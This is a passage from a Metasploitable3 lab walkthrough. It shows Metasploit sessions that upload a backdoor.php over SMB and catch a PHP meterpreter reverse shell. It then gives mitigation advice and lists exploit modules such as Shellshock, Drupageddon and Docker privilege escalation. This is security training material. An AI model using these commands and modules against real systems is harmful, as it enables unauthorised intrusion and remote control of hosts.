Commands explained:

```
msf5 > use auxiliary/admin/smb/upload_file
msf5 auxiliary(admin/smb/upload_file) > show options
```

```
Module options (auxiliary/admin/smb/upload_file):
   Name         Current Setting          Required  Description
   ----         ---------------          --------  -----------
   FILE_LPATHS                           no        A file containing a list of local files to utilize
   FILE_RPATHS                           no        A file containing a list remote files relative to the share to operate on
   LPATH        /home/kali/backdoor.php  no        The path of the local file to utilize
   RHOSTS       192.168.1.10             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH        backdoor.php             no        The name of the remote file relative to the share to operate on
   RPORT        445                      yes       The SMB service port (TCP)
   SMBDomain    .                        no        The Windows domain to use for authentication
   SMBPass      rwaaaaawr5               no        The password for the specified username
   SMBSHARE     public                   yes       The name of a writeable share on the server
   SMBUser      chewbacca                no        The username to authenticate as
   THREADS      1                        yes       The number of concurrent threads (max one per host)
msf5 auxiliary(admin/smb/upload_file) > run
[+] 192.168.1.10:445         - /home/kali/backdoor.php uploaded to backdoor.php
[*] 192.168.1.10:445         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

- `SMBUser/SMBPass`: credentials to authenticate (if share requires auth). Metasploitable provides these.
- Uploads to `RPATH` relative to share; mapping made it effectively webroot.

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen
address (an interface may be specified)
   LPORT  4444              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.9:4444
<send curl command at this time>
[*] Sending stage (38288 bytes) to 192.168.1.10
[*] Meterpreter session 4 opened (192.168.1.9:4444 ->
192.168.1.10:36312) at 2025-11-18 20:28:46 -0400
meterpreter > getuid
Server username: www-data (33)
```

Why: Samba misconfig + improper share path mapping is a frequent real-world misconfiguration.

🔍 Mitigation

✅ **Patch & update** all services to supported versions:

- ProFTPD: upgrade beyond 1.3.5 or apply vendor patches.
- Apache: update to latest stable for your distro (2.4.x series patched for Shellshock era bugs).
- OpenSSH: update to latest and disable legacy DSA keys.
- phpMyAdmin: update to latest, and avoid exposing admin panels to internal networks.
- Rails: don't expose secret tokens; rotate `secret_key_base`; upgrade Rails versions.
- UnrealIRCd: remove/backport vulnerable versions; use maintained IRCd.
- CUPS: update & minimize `lpadmin` group membership.
- Docker: disable unprotected API over TCP. Use TLS or unix socket only.
- Samba: avoid mapping writeable shares directly to webroot; enforce least privilege.

✅ **Configuration / hardening recommendations:**

- Disable `mod_cgi` or ensure CGI scripts do not use vulnerable shells; use `mod_fcgid` with restricted environment.
- Disable or require authentication for WebDAV.
- Use strong, unique secrets; never expose session secrets in headers or logs.
- Run web services with least privilege and use containment (apparmor/selinux).
- Limit allowed HTTP methods (avoid PUT if not required).
- Use WAF/IDS to detect exploitation attempts (NSE scripts & known exploit signatures).
- Restrict access to internal management interfaces (phpMyAdmin, CUPS, Continuum) via VPN or IP allow-list.

✅ **Patch versions & vendor guidance:**

- Apply distro vendor patches (Ubuntu 14.04 EOL — upgrade OS).
- For Docker: bind API to unix socket, or enable TLS client cert auth.
- For Rails: upgrade beyond versions with CVE-2013/2014 issues and rotate secrets.

💡 Takeaways

✅ **New tool / technique learned:** Rapid use of Metasploit modules paired with quick enumeration (nmap + NSE) yields rapid compromise paths; cookie secret harvesting for Rails is a powerful technique to escalate directly to root.
✅ **How this helps in real-world assessments:** Demonstrates how multiple low-risk services combined (exposed docker, web upload, outdated apps) yield full chain compromises. Prioritization: fix high-impact exposures (Docker, secret leak, writeable webroot).
✅ **Reflections on methodology:** Start broad (full port scan) → enumerate services & versions → map to known exploits → attempt least invasive authenticated or unauthenticated vectors first (web uploads, Drupageddon) → escalate via local vectors (docker socket). Keep logs, maintain reproducibility, and always check service stability.

📌 References

- Metasploitable3 configuration & wiki — GitHub.
- Rapid7 / Metasploit modules referenced in this walkthrough:
  - `exploit/unix/ftp/proftpd_modcopy_exec` (ProFTPD).
  - `exploit/multi/http/apache_mod_cgi_bash_env_exec` (Shellshock).
  - `exploit/multi/http/drupal_drupageddon` (Drupal).
  - `exploit/multi/http/phpmyadmin_preg_replace` (phpMyAdmin).

- `exploit/multi/http/rails_secret_deserialization` (Rails secret deserialization).
- `exploit/multi/http/cups_bash_env_exec` (CUPS Shellshock).
- `exploit/unix/irc/unreal_ircd_3281_backdoor` (UnrealIRCd).
- `exploit/linux/local/docker_daemon_privilege_escalation` (Docker).
- `auxiliary/admin/smb/upload_file` (Samba upload).
